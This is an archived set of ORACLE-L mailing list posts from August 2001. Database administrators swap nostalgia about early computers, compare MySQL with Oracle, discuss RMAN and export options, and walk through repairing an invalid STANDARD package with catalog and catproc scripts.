Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access /
RE: OT -- suggestions to ensure nerdiness in potential IT staff
nah, those were girl things. punch ball outside, roller skates with two sets of wheels and a key to tighten the front clasp, climbing monkey bars indoors it was books. Always books. I can't remember not reading From: Sherman, Edward [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 10:56:47 -0800 Mr. Peabody and Sherman? Of course. I was into Creepy Crawlers and Vac-U-Form back then but I'll bet you were more into Incredible Edibles or Fun Flowers. Cheers -Original Message- Sent: Thursday, August 02, 2001 2:12 PM To: Multiple recipients of list ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). * * * * * Freedom of Information Act Notice * * * * * The information in this email is subject to the record protection mandated by 5 United States Code 552(b)(4) and relevant judicial opinions. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Sherman, Edward INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California--
Re: OT -- suggestions to ensure nerdiness in potential IT
ATC now that had to be kewl. Isnt it still the same from ages ago, they talked about ATC software/hardware has its own Y2K issue(not in the year 2000 but some time else in the future) joe [EMAIL PROTECTED] 08/02/01 02:39PM Mid 70's? I never used a computer before 1990. I went from zeroexperience to real-time, hybrid unix on a mainframe doing maintenanceprogramming for an Air Traffic Control system. Prior to that, I workedblue-collar (come from a long line of ironworkers) until I joined theUSAF and they told me I was a computer programmer...Scott ShaferSan Antonio, TX"Page, Bruce" wrote: And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:)_Do You Yahoo!?Get your free @yahoo.com address at http://mail.yahoo.com-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Scott Shafer INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
RE: Oracle vs. MySQL
:) Thanks! -Original Message- Sent: Wednesday, August 01, 2001 1:41 PM To: Multiple recipients of list ORACLE-L Hi, Ross, I've got some experience with both 1. You dont have transaction (until the very recent versions, at least) 2. You dont have fererential integrity (FK is declared but not enforced) 3. Dont have views 4. Noting like PL/SQL 5. Reader blocks writer 6. Weak type support, for example can put 123456 to the number(1) field - further migration to Oracle may give you some pain Bright side it's fast (beats Oracle sometimes) and free. Regards, Vadim Gorbounov Oracle DBA ( not mySQL:) ) -Original Message- Sent: Wednesday, August 01, 2001 12:48 PM To: Multiple recipients of list ORACLE-L The comparisons look good for MySQL... not bad for others, but better for mySQL than some comments by some folks on the list would have led me to believe. Anyone here have major gripes about mySQL that oracle solved? -Original Message- Sent: Wednesday, August 01, 2001 12:01 PM To: Multiple recipients of list ORACLE-L Interesting site... Since I am not familiar with some of the other databases, are all the ones listed there 3 versions old or just Oracle? I noticed DB2 was 2 versions old. -Original Message- From: Dwayne Cox [mailto:[EMAIL PROTECTED]] Sent: Wednesday, August 01, 2001 9:56 AM To: Multiple recipients of list ORACLE-L Subject: Re: off topic--oracle Vs ms sql Try this site... http://www.mysql.com/information/crash-me.php On Mon, 30 Jul 2001 13:29:28 -0800 Ravindra Basavaraja [EMAIL PROTECTED] wrote: Does anyone have any doc or links that compares oracle and ms sql. Also what are the equivalent data types in ms sql for oracle's lobs. Thanks Ravindra __ Dwayne Cox DBA, Development Dept. Info Tech, Inc. [EMAIL PROTECTED] http://www.infotechfl.com ___ The opinions expressed are the author's own unless otherwise stated -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Dwayne Cox INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mohan, Ross INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vadim Gorbounov INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mohan, Ross INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists
RE: Oracle Beta
They do have Code Red for NT and you don't even have to download it yourself -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Thursday, August 02, 2001 3:04 PM To: Multiple recipients of list ORACLE-L Subject: RE: Oracle Beta I checked OTN and they have a download for 9i on NT but its the Lite version. Ken Janusz, CPIM to be quite honest I can't be sure what it is. When I hit the link in the email it opens up, but before I hit it I have to be logged on as a user with privelages to get to it. I am pretty sure that if you just go to OTN there is a link for a sun download? KK -Original Message- Dandekar Sent: Thursday, August 02, 2001 1:11 PM To: Multiple recipients of list ORACLE-L What is it? I mean the URL to 9i Beta for Windows. No Sun of Mine (no test sun machine available right now..) -Rahul - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rahul Dandekar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ:
RE: OT -- suggestions to ensure nerdiness in potential IT
Ivan, if you get the opportunity to attend an IOUG(my preferred one) or an openworld event, there is usually a gettogther of the people from the list, so you can place faces/w email addys :) check with the Goddess(AKA rachel), she's usually at both :) joe [EMAIL PROTECTED] 08/02/01 12:35PM I have to agree with Kevin, this thread is great. However it makes me feel like I really am in the wrong profession, at the wrong time in the wrong place :( . In 1981 I was 5 years old and I've never really touched a computer until about 3 years ago, let alone know any of the answers to any of those questions. You guys are great! I have learned so much from this list. Not only the technical stuff but learning about the IT and dba culture from you all is invaluable! I went to school for psych, so some of this old school talk that us young ones would hear from college cis professors I unfortunately never received, much less the knowledge of that curriculum. I am speechless when I step back and look at this list and realize how diverse this list really is. I mean we have list members from so many parts of the world and from so many different walks of life. Who would have ever thought that this young Puerto Rican punk from the 'hood would have anything in common with you all? I can see us all now at a bar after an oracle event, me in my baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone enjoying and sharing a common bond (dba, oracle) that brings us all together. Most of you all's peers wouldn't even look our way or have two words for me and my friends in our natural environment. But I think I'd feel just as comfortable around you all as I do at a block party in Bed-Stuy or chilling with some of my friends in Liberty City, Miami. All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire and respect you all). Thanks for everything. Ivan
RE: OT -- suggestions to ensure nerdiness in potential IT staff
With RSX and KED? May be some good, old VT100 and VT220? Oh, that makes me nostalgic! -Original Message- From: April Wells [mailto:[EMAIL PROTECTED]] Sent: Thursday, August 02, 2001 3:35 PM To: Multiple recipients of list ORACLE-L Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff my last company still used pdp-11s -Original Message- Sent: Thursday, August 02, 2001 1:28 PM To: Multiple recipients of list ORACLE-L It was a magical box to a middle-aged me as well and looked much better than my ugly metallic Kaypro. -Original Message- Sent: Thursday, August 02, 2001 11:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Norwood Bradly A INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). The information contained in this e-mail is strictly confidential and for the intended use of the addressee only; it may also be legally privileged and/or price sensitive. Notice is hereby given that any disclosure, use or copying of the information by anyone other than the intended recipient is prohibited and may be illegal. If you have received this message in error, please notify the sender immediately by return e-mail. Corporate Systems, Inc. has taken every reasonable precaution to ensure that any attachment to this e-mail has been swept for viruses. We accept no liability for any damage sustained as a result of software viruses and advise you carry out your own virus checks before opening any attachment. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: April Wells INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru')
Re: OT RE: Dangerous AIX Bug - Gene's afraid of RMAN
I use RMAN to do incremental backups every day. It works great! Have a little faith, Ruth - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:11 PM Lisa - I don't think there is enough beer for me to trust RMAN to do incremental backups :-). I just need sleep, puppies are a lot of work, but worth it! Koivu, Lisa [EMAIL PROTECTED] 07/30/01 08:19AM Gene, just do it. Incremental backups in rman are going to help you backup a 1tb database. Promise. Just try it, you'll like it. If not I'll owe you a bunch of beer. Lisa -Original Message- From: Gene Sais [SMTP:[EMAIL PROTECTED]] Sent: Friday, July 27, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Subject: OT RE: Dangerous AIX Bug! Yeah, I had to drop off the informix list for the AIX list. Good choice I think. Actually this post might be a good one for the AIX'ers. Seems like a lot of ppl are switching to AIX, h, maybe buy some IBM stock :). I just wish I had an EMC sym rather than this shark stuck in Raid-5. I need BCV's to back up a 1TB db. Not sure if the shark flashcopy will do the trick. Anyone on this list use flashcopy? Gene [EMAIL PROTECTED] 07/26/01 06:51PM Gene, you're a busy man. Just saw you on the AIX list. I'll lurk there for a while before creating havoc. ;-) thanks -Original Message- Sent: Thursday, July 26, 2001 6:39 PM To: Multiple recipients of list ORACLE-L Nice link. Thanks! [EMAIL PROTECTED] 07/26/01 05:51PM Ross, Check this link. You may find it useful. http://home.earthlink.net/~bhami/rosetta.html Regards, Denny Mohan, Ross wrote: :) My biggest concern is porting db's from other unix flavors...i wish there were a cross platfrom shell porting guide. Sure, ls is ls, but every mfgr changes the order/formatting of the flags and/or output. I am compiling responses and will post a summary. I have some good stuff so far hth Ross p.s. I wish i could get some (mostly) grass fed beef! ;-) _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Denny Koovakattu INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mohan, Ross INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED]
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff Thanks, Ivan. Most of us are probably from some 'hood. Mine was the barrio of East L.A. as a first generation Mexican-American. The great equalizersare self-education, self-esteem and self-motivation. When you are famous like Rachel or Steve Adams, we expect free autographs on your books. -Original Message-From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]Sent: Thursday, August 02, 2001 11:36 AMTo: Multiple recipients of list ORACLE-LSubject: RE: OT -- suggestions to ensure nerdiness in potential IT staff I have to agree with Kevin, this thread is great. However it makes me feel like I really am in the wrong profession, at the wrong time in the wrong place :( . In 1981 I was 5 years old and I've never really touched a computer until about 3 years ago, let alone know any of the answers to any of those questions. You guys are great! I have learned so much from this list. Not only the technical stuff but learning about the IT and dba culture from you all is invaluable! I went to school for psych, so some of this old school talk that us young ones would hear from college cis professors I unfortunately never received, much less the knowledge of that curriculum. I am speechless when I step back and look at this list and realize how diverse this list really is. I mean we have list members from so many parts of the world and from so many different walks of life. Who would have ever thought that this young Puerto Rican punk from the 'hood would have anything in common with you all? I can see us all now at a bar after an oracle event, me in my baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone enjoying and sharing a common bond (dba, oracle) that brings us all together. Most of you all's peers wouldn't even look our way or have two words for me and my friends in our natural environment. But I think I'd feel just as comfortable around you all as I do at a block party in Bed-Stuy or chilling with some of my friends in Liberty City, Miami. All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire and respect you all). Thanks for everything. Ivan
RV: Ever seen any of these errors?
hi;
error: ORA-06553 : PLS-213 : package STANDARD not accessible.
I believe that you must connect as sys to do
SELECT * FROM DBA_OBJECTS WHERE OWNER = 'SYS' AND
OBJECT_NAME = 'STANDARD';
If you to find the status is INVALID and I believe that you try to
recompile it by use command
ALTER PACKAGE STANDARD COMPILE;
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:10 PM
Good point but no. I'm the only one who can get into this server, the
last
time I ran anything like this was when I built it in September. H, I
just checked the test environment, which is a clone, everything there is
owned by sys.
Thanks!
Linda
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Sent: Wednesday, August 01, 2001 10:55 PM
To: Multiple recipients of list ORACLE-L
Any chance catalog or catproc was run by someone not logged in a sys?
Ian MacGregor
Stanford Linear Accelerator Center
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Sent: Wednesday, August 01, 2001 1:52 PM
To: Multiple recipients of list ORACLE-L
Our Financials production database server crashed last week. When it came
back up Oracle seemed to come up with no errors, everything connected
properly, etc. That evening the SA rebooted the machine to turn on
diagnostics for Sun. Oracle shutdown normally but after it came back up I
started getting paged that some of the Financials processes weren't
working.
I tried to start them and failed so I began poking around. When I logged
into SQL*Plus I got errors. Unfortunately I didn't start writing things
down until I had it 90% fixed :-{ but I *think* this was the order. I
backed up before and after. Then, after each step, I recompiled any
invalid
objects in the database. I ran sqlplus /nolog, then connect internal,
both
for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.
1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
Error accessing package DBMS_APPLICATION_INFO
I checked for invalid objects, one _next_object (which appears to be a
bug)
and a Financials package that is always invalid.
2) OK, let's try to recreate STANDARD. Ran the script, no errors
SQL*Plus is still complaining.
3) Somewhere along the line I saw references to catalog and catproc on
Metalink. After some more searching, I decided I didn't have anything to
lose. Ran catalog without errors. Catproc had errors in a number of
places. I got dbms_output errors:
create or replace package dbms_output as
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-1: unique constraint (SYS.I_OBJ2) violated
H, it's doing 'create or replace', something's fishy
Got a 'ORA-00921: unexpected end of SQL command' when it was running
catqueue.sql.
Got the errors:
create or replace type sys.aq$_dummy_t as object (data char(1));
*
ERROR at line 1:
ORA-6545: PL/SQL: compilation error - compilation aborted
ORA-06550: line 2, column 1:
PLS-00103: Encountered the symbol GRANT
ORA-06550: line 0, column 0:
PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
(object type)
These were the only error messages (other than dropping non-existant
indexes
and those type of messages).
4) I reran catproc, now the STANDARD errors are gone in SQL*Plus! But,
when
I logged in then I got:
PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
and
Use of Oracle SQL feature not in SQL92 Entry Level
5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
error.
6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
/ on the second line to fix the sys.aq$_dummy_t error messages
7) Reran catproc again (I actually ran it twice, once after each script I
changed). Finally, no errors, including the DBMS_OUTPUT.DISABLE!
8) Logged into SQL*Plus with no errors!
Whew! So what could have caused the problems to begin with? There were
no
errors in the alert log. I ran dbv on all the datafiles, everything was
clean. The server crashed because of a bad processor, not because of a
bad
disk (that was the development box on Sunday :-} ). No core dumps. I
especially love the unique constraint violation on sys.i_obj2
I count myself lucky, I didn't have to call Support, we didn't have
problems
until after the reboot at 8:30 pm instead of during the middle of the day,
and it's been a week without any other problems.
Thanks!
Linda
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Re: part of the table export (incremental?)
and the incremental/cmulative options in export are only there for backwards compatibility w/scripts, my understanding is they are not really supported anymore. joe [EMAIL PROTECTED] 08/02/01 10:30AM if you are running 8i, you can use a where clause on the export.incremental export does not export only the changed rows but will export the entire table if even as little as one byte in one row has changed.From: "Tatireddy, Shrinivas (MED, Keane)" [EMAIL PROTECTED]Reply-To: [EMAIL PROTECTED]To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]Subject: part of the table export (incremental?)Date: Thu, 02 Aug 2001 02:05:26 -0800Hi dba'scan anybody tell me how to do export part of the table..i.e. incremental data.when i exported at 10 am it has 1000 rows ( i did full exp)100 rows newly added in the 2 hrswhen i do exported at 12 am ( incremental) it exporting all therows(1100) of the tablebut i need only the rows, that are newly inserted.is there any way to do such export?thnx in advsrinivas--Please see the official ORACLE-L FAQ: http://www.orafaq.com--Author: Tatireddy, Shrinivas (MED, Keane) INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing)._Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Rachel Carmichael INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
RE: transportable tablespaces
Matt, 8i admin guide, search for transport, in that chapter is limitations, they are all listed there. joe [EMAIL PROTECTED] 08/02/01 09:21AM Rachel, Which doc did you find that in? Matt Matt Adams - GE Appliances - [EMAIL PROTECTED] Doing linear scans over an associative array is like trying to club someone to death with a loaded Uzi. - Larry Wall (creator of Perl) -Original Message- href="mailto:[EMAIL PROTECTED]">mailto:[EMAIL PROTECTED]] Sent: Wednesday, August 01, 2001 5:39 PM To: Multiple recipients of list ORACLE-L Subject: Re: transportable tablespaces According to the docs you must be on the same OS, down to patches, and the same version of Oracle, again down to patches. Rachel From: "Adams, Matthew (GEA, 088130)" [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: transportable tablespaces Date: Wed, 01 Aug 2001 12:41:38 -0800do transportable tablespaces work between different OSes? I wouldn't think so, but I thought I'd ask. Matt Adams - GE Appliances - [EMAIL PROTECTED] Doing linear scans over an associative array is like trying to club someone to death with a loaded Uzi. - Larry Wall (creator of Perl) _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services -- (858) 